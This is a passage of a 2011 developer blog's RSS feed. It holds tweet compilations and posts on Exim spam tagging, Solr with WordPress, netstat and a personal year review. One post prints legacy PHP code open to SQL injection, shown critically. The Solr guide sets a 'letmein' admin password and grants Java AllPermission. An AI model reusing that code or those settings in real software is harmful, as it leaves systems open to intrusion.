<div class="tweet-text">The christmas spirit has hit the office &#8230; And we have (or are) crackers. <a href="http://t.co/V7Oi3aI1">t.co/V7Oi3aI1</a></div>
<div class="tweet-details">(2011/12/09, <a href="http://maps.google.com/maps?q=52.33905586,-2.05581196&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/tapbot_paul">@tapbot_paul</a>: To get back the DM tab in Twitter for iOS just swipe up, up, down, down, left, right, left, right, B, A.</div>
<div class="tweet-details">(2011/12/08)</div>
</li>
<li>
<div class="tweet-text">Octonauts Octopod &#8211; £47 quid on Amazon; Tesco online &#8211; £35. <a href="http://t.co/vvKMDvUR">t.co/vvKMDvUR</a> and <a href="http://t.co/Sz3Mnbw2">t.co/Sz3Mnbw2</a> Bad Amazon. <a href="http://twitter.com/search?q=#SpoiltChildren">#SpoiltChildren</a></div>
<div class="tweet-details">(2011/12/08)</div>
</li>
<li>
<div class="tweet-text">45 minutes in the oven at ~200&#8242;c is a bit much I guess. <a href="http://twitter.com/search?q=#fail">#fail</a> <a href="http://twitter.com/search?q=#cooking">#cooking</a> <a href="http://t.co/E2Nzrnut">t.co/E2Nzrnut</a></div>
<div class="tweet-details">(2011/12/08, <a href="http://maps.google.com/maps?q=52.34777854,-2.05901391&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I &lt;3 legacy PHP code (Sql Injection, magic quotes, sprintf etc) <a href="http://t.co/L8PYhbNW">t.co/L8PYhbNW</a></div>
<div class="tweet-details">(2011/12/08)</div>
</li>
<li>
<div class="tweet-text">Bromsgrove&#8217;s shoppers have clearly realised that parking restrictions are not enforced in the coop / retail park car park. <a href="http://twitter.com/search?q=#nearlyFull">#nearlyFull</a> <a href="http://twitter.com/search?q=#free">#free</a></div>
<div class="tweet-details">(2011/12/08, <a href="http://maps.google.com/maps?q=52.33903456,-2.05521699&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/schwuk">@schwuk</a>: Stormtrooper Motorcycle Leathers &#8211; Awesome, but Scout Trooper leathers would have been perfect! <a href="http://t.co/xmSVD0pB">t.co/xmSVD0pB</a></div>
<div class="tweet-details">(2011/12/07)</div>
</li>
<li>
<div class="tweet-text">I pickup keys to my new place on Monday &#8211; Here&#8217;s to hoping I still have a working phone line at home and BT/BeThere haven&#8217;t been over eager</div>
<div class="tweet-details">(2011/12/07)</div>
</li>
<li>
<div class="tweet-text">Sound the octo-alert vegimal style!</div>
<div class="tweet-details">(2011/12/06, <a href="http://maps.google.com/maps?q=52.33940422,-2.06143522&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/rowangoodwin">@rowangoodwin</a>: SQUIRREL! Come back down!! <a href="http://t.co/JkHZN9iG">t.co/JkHZN9iG</a></div>
<div class="tweet-details">(2011/12/04)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/WPBhamUK">@WPBhamUK</a>: Next WordPress Birmingham meetup is Weds 7th December, Old Joint Stock, 6.30pm onwards. <a href="http://t.co/LJ7egP3y">t.co/LJ7egP3y</a></div>
<div class="tweet-details">(2011/12/04)</div>
</li>
<li>
<div class="tweet-text">Ten pin bowling scores: Anya 110, me: 96, Rowan 89.</div>
<div class="tweet-details">(2011/12/04, <a href="http://maps.google.com/maps?q=52.39902342,-2.00567818&amp;iwloc=A&amp;hl=en">Birmingham, Birmingham</a>)</div>
</li>
<li>
<div class="tweet-text">Slowly learning to scroll &#8220;the right way&#8221; <a href="http://twitter.com/search?q=#lion">#lion</a> &#8230;.</div>
<div class="tweet-details">(2011/12/03)</div>
</li>
<li>
<div class="tweet-text">Bromsgrove 3xi 1:5(?) Droitwich. <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' />  ( cc <a href="http://twitter.com/BromsgroveHC">@BromsgroveHC</a> )</div>
<div class="tweet-details">(2011/12/03, <a href="http://maps.google.com/maps?q=52.26848214,-2.16497808&amp;iwloc=A&amp;hl=en">Wychavon, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Using Solr for text searching with WordPress howto &#8211; for Debian Lenny &#8211; <a href="http://t.co/6sf56270">t.co/6sf56270</a> (tomcat5.5 + wordpress 3.x + Solr 3.4)</div>
<div class="tweet-details">(2011/11/30)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/BromsgroveDC">@BromsgroveDC</a>: Strike action: customer service centres are operating as normal. <a href="http://twitter.com/search?q=#bromsgrove">#bromsgrove</a></div>
<div class="tweet-details">(2011/11/30)</div>
</li>
<li>
<div class="tweet-text">I think I quite like Mockingbird for Wireframe designs/mockups. <a href="http://t.co/dKVfEeje">t.co/dKVfEeje</a></div>
<div class="tweet-details">(2011/11/29)</div>
</li>
<li>
<div class="tweet-text">Hopefully none of my websites are on this list &#8211; <a href="http://t.co/rWDjasPd">t.co/rWDjasPd</a></div>
<div class="tweet-details">(2011/11/29)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/PalePurpleLtd">@PalePurpleLtd</a>: Our first android app for the mobile wearable watch &#8211; <a href="http://twitter.com/search?q=#imwatch">#imwatch</a> &#8211; is complete.</div>
<div class="tweet-details">(2011/11/28)</div>
</li>
<li>
<div class="tweet-text">Now &#8230; What&#8217;s this about tram lady? Presumably a bit like cat bin woman?</div>
<div class="tweet-details">(2011/11/28, <a href="http://maps.google.com/maps?q=52.34753352,-2.05870724&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">I&#8217;m surprised they didn&#8217;t specify a LED telly, xbox 360 and a tumble drier too&#8230;.</div>
<div class="tweet-details">(2011/11/28, <a href="http://maps.google.com/maps?q=52.34748244,-2.05891743&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Today on Bromsgrove freecycle &#8220;&#8230;NEED SOFA, WASHING MACHINE,TABLE &amp;<br />
CHAIRS,WARDROBES,TV &amp; CABINET,COOKER, FRIDGE,FREEZER&#8221; <a href="http://twitter.com/search?q=#notAskingForMuch">#notAskingForMuch</a></div>
<div class="tweet-details">(2011/11/28, <a href="http://maps.google.com/maps?q=52.34748244,-2.05891743&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/guardiantech">@guardiantech</a>: Computer lessons are out of date, admits government <a href="http://t.co/bF6TImhS">t.co/bF6TImhS</a></div>
<div class="tweet-details">(2011/11/28)</div>
</li>
<li>
<div class="tweet-text">In other news, today&#8217;s coffee was probably stronger than redbull etc. <a href="http://twitter.com/search?q=#buzzing">#buzzing</a> <a href="http://twitter.com/search?q=#hyper">#hyper</a></div>
<div class="tweet-details">(2011/11/28, <a href="http://maps.google.com/maps?q=52.34732886,-2.05986789&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Yippee. <a href="http://twitter.com/simplylets">@simplylets</a> are the bestest letting agents eva!!1! <a href="http://twitter.com/search?q=#happy">#happy</a> <a href="http://twitter.com/search?q=#movingBeforeXmas">#movingBeforeXmas</a></div>
<div class="tweet-details">(2011/11/28, <a href="http://maps.google.com/maps?q=52.34732886,-2.05986789&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">The Life of a Software Engineer &#8211; <a href="http://t.co/6tftRG5c">t.co/6tftRG5c</a> (&#8220;This time I will build a solid foundation &#8230; Oh, I&#8217;ve done it again haven&#8217;t I?&#8221;)</div>
<div class="tweet-details">(2011/11/27)</div>
</li>
<li>
<div class="tweet-text">Coo &#8211; just found out about sloppy backports &#8211; PostgreSQL 9.0 on Lenny &#8220;deb <a href="http://t.co/q2LR0a94">t.co/q2LR0a94</a> lenny-backports-sloppy main&#8221; <a href="http://twitter.com/search?q=#debian">#debian</a></div>
<div class="tweet-details">(2011/11/27)</div>
</li>
<li>
<div class="tweet-text">Bromsgrove 3xi 3:2 Evesham (cc <a href="http://twitter.com/BromsgroveHC">@BromsgroveHC</a>) <a href="http://twitter.com/search?q=#hockey">#hockey</a></div>
<div class="tweet-details">(2011/11/26)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/entrepreneurs4f">@entrepreneurs4f</a>: We are accepting applications for our next intake! Deadline 30th Nov, apply now to help launch your tech startup ht &#8230;</div>
<div class="tweet-details">(2011/11/25)</div>
</li>
<li>
<div class="tweet-text">Come on estate agent. Phone me back with good news. (hint hint <a href="http://twitter.com/SimplyLets">@SimplyLets</a> ).</div>
<div class="tweet-details">(2011/11/25, <a href="http://maps.google.com/maps?q=52.347578,-2.05875961&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Woke up and had a Nosebleed. I&#8217;ve not had one in ages. Hope this isn&#8217;t the first of many.</div>
<div class="tweet-details">(2011/11/25, <a href="http://maps.google.com/maps?q=52.34750381,-2.05872505&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
<li>
<div class="tweet-text">Forgetting the passphrase to my gpg encrypted password file isn&#8217;t my finest moment&#8230;. vim doc/passwords.asc &#8230; .oO( err.. oh crap ) <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </div>
<div class="tweet-details">(2011/11/24)</div>
</li>
<li>
<div class="tweet-text">Alcohol soaked tampons, perhaps not the way forward. <a href="http://t.co/nXsld2so">t.co/nXsld2so</a></div>
<div class="tweet-details">(2011/11/24)</div>
</li>
<li>
<div class="tweet-text">RT <a href="http://twitter.com/bhamsouthpolice">@bhamsouthpolice</a>: Good morning and welcome to the 3rd Birmingham South Police 24 hour Tweet-a-thon!We are looking forward to tweeting &#8230;</div>
<div class="tweet-details">(2011/11/24)</div>
</li>
<li>
<div class="tweet-text">varnish++ (of the geeky variety, not the girly variety)</div>
<div class="tweet-details">(2011/11/24)</div>
</li>
<li>
<div class="tweet-text">Denial of Service, the old fashioned approach &#8211; coordinated posting of Xmas cards &#8230; Take that Royal Mail!</div>
<div class="tweet-details">(1999/02/16, <a href="http://maps.google.com/maps?q=52.33951648,-2.05507471&amp;iwloc=A&amp;hl=en">Bromsgrove, Worcestershire</a>)</div>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2012/automated-twitter-compilation-up-to-24-january-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>exim + spamassassin subject rewriting on symbiosis</title>
		<link>http://codepoets.co.uk/2011/exim-and-spamassassin-subject-rewriting-on-symbiosis/</link>
		<comments>http://codepoets.co.uk/2011/exim-and-spamassassin-subject-rewriting-on-symbiosis/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 10:29:02 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[exim]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spamassassin]]></category>
		<category><![CDATA[symbiosis]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=480</guid>
		<description><![CDATA[One customer of mine has an Bytemark Symbiosis based exim mailserver which uses SpamAssassin. It works pretty well &#8211; however the : rewrite_header Subject *****SPAM***** directive in spamassassin (/etc/spamassassin/local.cf) seemed to be being ignored &#8211; and the only effect of the mail being classified as spam is/was a couple of additional headers added (X-Spam-Status: spam). &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/exim-and-spamassassin-subject-rewriting-on-symbiosis/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>One customer of mine has an <a title="Bytemark" href="http://www.bytemark.co.uk">Bytemark</a> <a title="Symbiosis" href="http://symbiosis.bytemark.co.uk/docs/symbiosis.html">Symbiosis</a> based <a title="Exim MTA" href="http://www.exim.org/">exim</a> mailserver which uses <a title="SpamAssassin" href="http://spamassassin.apache.org/">SpamAssassin</a>. It works pretty well &#8211; however the :</p>
<pre>rewrite_header Subject *****SPAM*****</pre>
<p>directive in spamassassin (/etc/spamassassin/local.cf) seemed to be being ignored &#8211; and the only effect of the mail being classified as spam is/was a couple of additional headers added (X-Spam-Status: spam). For the customer in question this wasn&#8217;t of much use &#8211; as they&#8217;re reasonably non-technical and probably couldn&#8217;t create a client side mail filter. And they also thought the spamfiltering wasn&#8217;t working.</p>
<p>I found adding the following to /etc/exim4/system_filter results in the subject being appropriately modified :</p>
<pre>if $h_X-Spam-Status: contains "spam"
then
    headers add "Old-Subject: $h_subject"
    headers remove "Subject"
    headers add "Subject: *** SPAM *** $h_old-subject"
    headers remove "Old-Subject"
endif</pre>
<pre></pre>
<p>Seeing as how that took about 2 hours to figure out &#8211; hopefully this will be of use to others.</p>
<p>I started looking at SpamAssassin and wondering why IT wasn&#8217;t doing it&#8230; I still don&#8217;t know why &#8211; but assume it&#8217;s an Exim &#8216;feature&#8217;.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/exim-and-spamassassin-subject-rewriting-on-symbiosis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>State of the union &#8211; sort of (my 2011).</title>
		<link>http://codepoets.co.uk/2011/state-of-the-union-sort-of-my-2011/</link>
		<comments>http://codepoets.co.uk/2011/state-of-the-union-sort-of-my-2011/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 21:02:02 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[fitness]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[divorce]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=477</guid>
		<description><![CDATA[Well, perhaps not quite a State of the Union Address, but here&#8217;s a random update on my life in general which perhaps sums up the last year (as we&#8217;re almost at the end of the year, it&#8217;s probably fitting I somehow, somewhere write something like this). My children (Rowan and Anya) are both growing up &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/state-of-the-union-sort-of-my-2011/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Well, perhaps not quite a State of the Union Address, but here&#8217;s a random update on my life in general which perhaps sums up the last year (as we&#8217;re almost at the end of the year, it&#8217;s probably fitting I somehow, somewhere write something like this).</p>
<ul>
<li>My children (Rowan and Anya) are both growing up rather too quickly. Anya&#8217;s about 18 months old, walking and almost talking (&#8216;tree&#8217;, &#8216;cat&#8217;, &#8216;that&#8217;, &#8216;tasty&#8217;, &#8216;mum&#8217;, &#8216;daddy&#8217; and so on) while Rowan (~4) is busy playing/asking questions/learning to write/bashing things with hammers and so on. As far as we can tell they&#8217;re unaffected by Katherine and I splitting up. I&#8217;m lucky to be able to see them regularly (4 times a week) and usually &#8217;good enough&#8217; for hugs and cuddles after they fall over / chuck up or whatever depending on the star alignment or who ever told them off most recently&#8230;..</li>
<li><a title="Pale Purple - they do web and mobile application development" href="http://www.palepurple.co.uk">Pale Purple</a> (work) wise &#8211; everything&#8217;s going well, we&#8217;re busy, have plenty of work lined up over the next few months and there are a number of interesting projects almost ready to start. Over the last year there has been a distinct increase in the amount of development we&#8217;re doing in mobile applications &#8211; specifically towards Android and business apps (e.g. for a delivery driver to use to see what jobs they have to do &#8211; rather than the traditional Microsoft Windows CE based thing). <a title="PHP - the best language eva!1!!" href="http://php.net">PHP</a> is still the main focus of the company with other supplementary bits (training, security audits, systems administration and so on). We took on an industrial year student this year &#8211; so there are currently five of us full time.</li>
<li>I&#8217;ve moved house &#8211; so I no longer live in a one bedroom flat which was always cold [no central heating]. Now I&#8217;m in a 2 up, 2 down house like thing, so the children can have their own bedroom, or spread their toys over a wider area. Soon there will be a trip to Ikea and they&#8217;ll have a bunk bed and random other things no doubt.</li>
<li>I still run / cycle / exercise &#8211; although not as much as I might like to. Mr Patch, the Jack Russell, went to live with my aunt at the beginning of the year (I think?!) &#8211; where he&#8217;s apparently behaving well, and has become somewhat wider; likewise his absence here is partly to blame for my weight gain &#8211; but conversely not having him makes looking after the children / work / jetting off to Spain (I can&#8217;t think why&#8230;) so much easier.</li>
</ul>
<div>This post was brought to you by two great bottles of beer from <a title="MyBreweryTap sell great beer - excellent for presents for men" href="http://www.mybrewerytap.com">MyBreweryTap</a>, who happen to be a customer of mine &#8211; and subscribed me to their 52 bottles a year package for free. &#8220;A++++ will drink their stuff again!&#8221; as people would say on eBay!</div>
<div></div>
<div>Enjoy 2012 readers. I don&#8217;t know what things will be like by the end of the year, but I&#8217;m pretty optimistic at the moment.</div>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/state-of-the-union-sort-of-my-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection with added magic_quotes assistance (the joys of legacy code maintenance)</title>
		<link>http://codepoets.co.uk/2011/sql-injection-with-added-magic_quotes-assistance-the-joys-of-legacy-code-maintenance/</link>
		<comments>http://codepoets.co.uk/2011/sql-injection-with-added-magic_quotes-assistance-the-joys-of-legacy-code-maintenance/#comments</comments>
		<pubDate>Thu, 08 Dec 2011 14:18:05 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=471</guid>
		<description><![CDATA[&#160; Sometimes you really have to laugh (or shoot yourself) when you come across legacy code / the mess some other developer(s) left behind. (Names slightly changed to protect the innocent) class RocketShip { function rahrah() { $sql = "insert into foo (rah,rahrah,...) values ( '" . $this-&#62;escape_str($this-&#62;meh) . "', ...... )"; mysqli_query($this-&#62;db_link, $sql) or &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/sql-injection-with-added-magic_quotes-assistance-the-joys-of-legacy-code-maintenance/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>Sometimes you really have to laugh (or shoot yourself) when you come across legacy code / the mess some other developer(s) left behind. (Names slightly changed to protect the innocent)<br />
<code></code></p>
<pre class="brush:php">class RocketShip {

    function rahrah() {
        $sql = "insert into foo (rah,rahrah,...)
            values ( '" . $this-&gt;escape_str($this-&gt;meh) . "', ...... )";
        mysqli_query($this-&gt;db_link, $sql) or
            die("ERROR: " . mysqli_error($this-&gt;db_link));
        $this-&gt;id = mysqli_insert_id($this-&gt;db_link);
    }

    function escape_str($str)
    {
        if(get_magic_quotes_gpc())
           { $str = stripslashes($str);}
        //echo $str;
        //$clean = mysqli_real_escape_string($this-&gt;db_link,$str);
        //echo $clean;
       return $str;
    }
// ....
    function something_else() {
         mysqli_query($this-&gt;db_link,
            sprintf("insert into fish(field1,field2) values('%s', '%s')",
            $this-&gt;escape_str($this-&gt;field1),
            $this-&gt;escape_str($this-&gt;field2));

    }
}</pre>
<p>You&#8217;ve got to just love the :</p>
<ol>
<li>Lack of Error handling / logging.</li>
<li>Functionality of the escape_str function which is only making matters worse (and could never have worked due to the variable names)</li>
<li>Use of sprintf  and %s &#8230;.(obviously %d could be useful)</li>
<li>Documentation?</li>
</ol>
<p>Dare I uncomment the mysqi_real_escape_string and fix escape_str&#8217;s behaviour?</p>
<p>In other news, see<a title="PalePurpleLtd PHP Security tweet" href="http://twitter.com/#!/PalePurpleLtd/status/144539470706900992"> this tweet</a> &#8211; 84% of web apps are insecure; that&#8217;s a bit damning. But perhaps not surprising given code has a far longer lifespan than you expect&#8230;.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/sql-injection-with-added-magic_quotes-assistance-the-joys-of-legacy-code-maintenance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solr and WordPress (instructions/howto)</title>
		<link>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/</link>
		<comments>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 13:11:47 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=462</guid>
		<description><![CDATA[This is for Tomcat5.5 (on Debian Lenny), WordPress 3.1 and Solr 3.4. The intention is to use the solr-for-wordpress plugin (see github ). Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream solr-for-wordpress wordpress plugin, hence we can&#8217;t use it). Install Tomcat (and Java) apt-get install sun-java6-jre &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This is for Tomcat5.5 (on Debian Lenny), WordPress 3.1 and Solr 3.4. The intention is to use the solr-for-wordpress plugin (see <a title="Solr for WordPress (palepurple fork)" href="https://github.com/palepurple/solr-for-wordpress">github</a> ).</p>
<p>Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream <a title="Solr for WordPress" href="http://wordpress.org/extend/plugins/solr-for-wordpress/">solr-for-wordpress</a> wordpress plugin, hence we can&#8217;t use it).</p>
<h2>Install Tomcat (and Java)</h2>
<pre>apt-get install sun-java6-jre</pre>
<p>Edit /etc/profile and set a JAVA_HOME &#8211; so add in something like :</p>
<pre># Setup Jave environment 6
export PATH=$PATH:/usr/lib/jvm/java-6-sun/bin
export JAVA_HOME=/usr/lib/jvm/java-6-sun
export JRE_HOME=/usr/lib/jvm/java-6-sun/jre</pre>
<p>And then do :</p>
<pre>. /etc/profile</pre>
<pre>So those settings are set / present within your environment (or logout and back in).</pre>
<p>Next, install Tomcat :</p>
<pre>apt-get install tomcat5.5</pre>
<pre>and then</pre>
<pre>apt-get install tomcat5.5-admin</pre>
<pre></pre>
<h3>Configure Tomcat</h3>
<p>Edit /etc/tomcat5.5/tomcat-users.xml and define your own user; for the -admin apps you&#8217;ll need to give the user a role of admin and manager.</p>
<p>e.g.</p>
<pre>&lt;?xml version='1.0' encoding='utf-8'?&gt;
&lt;tomcat-users&gt;
  &lt;role rolename="manager"/&gt;
  &lt;role rolename="tomcat"/&gt;
  &lt;role rolename="admin"/&gt;
  &lt;role rolename="role1"/&gt;
  &lt;user username="palepurple" password="letmein" roles="admin,manager,tomcat"/&gt;
&lt;/tomcat-users&gt;</pre>
<p>And then restart Tomcat. You should now be able to visit http://yourserver:8180/admin and see a login screen.</p>
<p>In my case, I also edited /etc/tomcat5.5/server.xml to disable the AJP connector on port 8009 and also to tell the remaining connector (port 8180) to listen only on 127.0.0.1. To connect to the admin interface, I just use SSH port forwarding from my desktop &#8211; this is just to improve security.</p>
<p>Finally, it seems necessary to <strong>grant permission for Java to log</strong> to /var/log/tomcat5.5&#8230; .a dirty way of achieving this is to edit :</p>
<pre>/etc/java-6-sun/security/java.policy</pre>
<p>and add in (near the top)</p>
<pre>grant {
	permission java.security.AllPermission;
};</pre>
<p>(Yes, I know this is a bit like doing chmod -R 777 on a filesystem or something; but in my case Solr is running only on localhost, so I think it&#8217;s an acceptable fix; I&#8217;m sure Google can provide more eloquent fixes.).</p>
<p>&nbsp;</p>
<h2>Installing Solr</h2>
<p>Download; unpack and install .war file :</p>
<pre>cd /root</pre>
<pre>wget http://www.apache.org/dist/lucene/solr/3.4.0/apache-solr-3.4.0.tgz</pre>
<pre>tar -zxf apache-solr-3.4.0.tgz</pre>
<pre>cp apache-solr-3.4.0/dist/apache-solr-3.4.0.war /var/lib/tomcat5.5/webapps</pre>
<p>If you now restart Solr, you&#8217;ll find some log files and stuff of use in /var/log/tomcat5.5 &#8211; looking in the catalina log file there you&#8217;ll see it moaning about not finding solrconfig.xml and so on. To fix this -</p>
<pre>cp -a apache-solr-3.4.0/example/solr /var/lib/tomcat5.5/</pre>
<p>And edit <strong>/etc/default/tomcat55</strong> to contain :</p>
<pre>export JAVA_OPTS="$JAVA_OPTS -Dsolr.solr.home=/var/lib/tomcat5.5/solr"</pre>
<p>This tells Solr where to find it&#8217;s configuration and so on.</p>
<p>Then edit :</p>
<p>/var/lib/tomcat5.5/solr/conf/solrconfig.xml and fix the file paths to the various .jar files included &#8211; so in my case (you might want to copy them out of the apache-solr-3.4.0 dir and into /var/lib/tomcat5.5/solr/lib perhaps) &#8211; part of the solrconfig.xml is below :</p>
<pre>  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/extraction/lib" /&gt;
  &lt;!-- When a regex is specified in addition to a directory, only the
       files in that directory which completely match the regex
       (anchored on both ends) will be included.
    --&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-cell-\d.*\.jar" /&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-clustering-\d.*\.jar" /&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-dataimporthandler-\d.*\.jar" /&gt;

  &lt;!-- If a dir option (with or without a regex) is used and nothing
       is found that matches, it will be ignored
    --&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/clustering/lib/" /&gt;</pre>
<p>Next create the data directory for solr to use :</p>
<pre>mkdir /var/lib/tomcat5.5/solr/data</pre>
<pre>chown tomcat55 /var/lib/tomcat5.5/solr/data</pre>
<p>And restart tomcat.</p>
<p>At this point you should be able to visit :</p>
<p>http://localhost:8180/apache-solr-3.4.0/admin/</p>
<p>If it fails, check out /var/log/tomcat5.5/*catalina.log* or /var/log/daemon.log</p>
<h2>WordPress stuff</h2>
<p>cd /path/to/wordpress/wp-content/plugins</p>
<p>git clone https://github.com/mattweber/solr-for-wordpress.git</p>
<p>cp solr-for-wordpress/schema.xml /var/lib/tomcat5.5/solr/conf/</p>
<p>&lt;&lt;restart tomcat again; /etc/init.d/tomcat5.5. restart &gt;&gt;</p>
<p>Now you just need to enable the plugin from within wordpress and tell wordpress to index your posts and you&#8217;re off.</p>
<ol>
<li> Enable plugin</li>
<li>Goto settings -&gt; solr options -&gt; select single server; tell it to use localhost, port 8180 and under the path &#8216;/apache-solr-3.4.0&#8242;</li>
<li> Perform the &#8216;server ping&#8217; check; and then tell WordPress you want to index your pages/posts etc as you see fit.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>netstat &#8211;tcp -lp output not showing a process id</title>
		<link>http://codepoets.co.uk/2011/netstat-tcp-lp-output-not-showing-a-process-id/</link>
		<comments>http://codepoets.co.uk/2011/netstat-tcp-lp-output-not-showing-a-process-id/#comments</comments>
		<pubDate>Thu, 17 Nov 2011 14:13:51 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[netstat]]></category>
		<category><![CDATA[nfs]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=459</guid>
		<description><![CDATA[I often use &#8216;netstat &#8211;tcp -lpn&#8217; to display a list of open ports on a server &#8211; so i can check things aren&#8217;t listening where they shouldn&#8217;t be (e.g. MySQL accepting connections from the world) and so on. Obviously I firewall boxes; but I like to have a reasonable default incase the firewall decides to &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/netstat-tcp-lp-output-not-showing-a-process-id/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I often use &#8216;netstat &#8211;tcp -lpn&#8217; to display a list of open ports on a server &#8211; so i can check things aren&#8217;t listening where they shouldn&#8217;t be (e.g. MySQL accepting connections from the world) and so on. Obviously I firewall boxes; but I like to have a reasonable default incase the firewall decides to flush itself randomly or whatever.</p>
<p>Anyway, I ran &#8216;netstat &#8211;tcp -lpn&#8217; and saw something like the following :</p>
<pre>tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      3355/mysqld
tcp        0      0 0.0.0.0:54283           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1940/portmap</pre>
<p>Now &#8216;mysqld&#8217; looks OK &#8211; and portmap does (well, I need it on this box). But what on earth was listening on port 54283, and why is there no process name/pid attached to it?</p>
<p>After lots of rummaging, and paranoia where I thought perhaps the box had been rooted, I discovered it was from an NFS mount (which explains the lack of a pid, as it&#8217;s kernel based).</p>
<pre>lsof -i tcp:54283</pre>
<p>Didn&#8217;t help either. Unmounting the NFS filesystem did identify the problem &#8211; and the entry went away.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/netstat-tcp-lp-output-not-showing-a-process-id/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automated twitter compilation up to 04 November 2011</title>
		<link>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-04-november-2011/</link>
		<comments>http://codepoets.co.uk/2011/automated-twitter-compilation-up-to-04-november-2011/#comments</comments>
		<pubDate>Fri, 04 Nov 2011 10:08:48 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=456</guid>
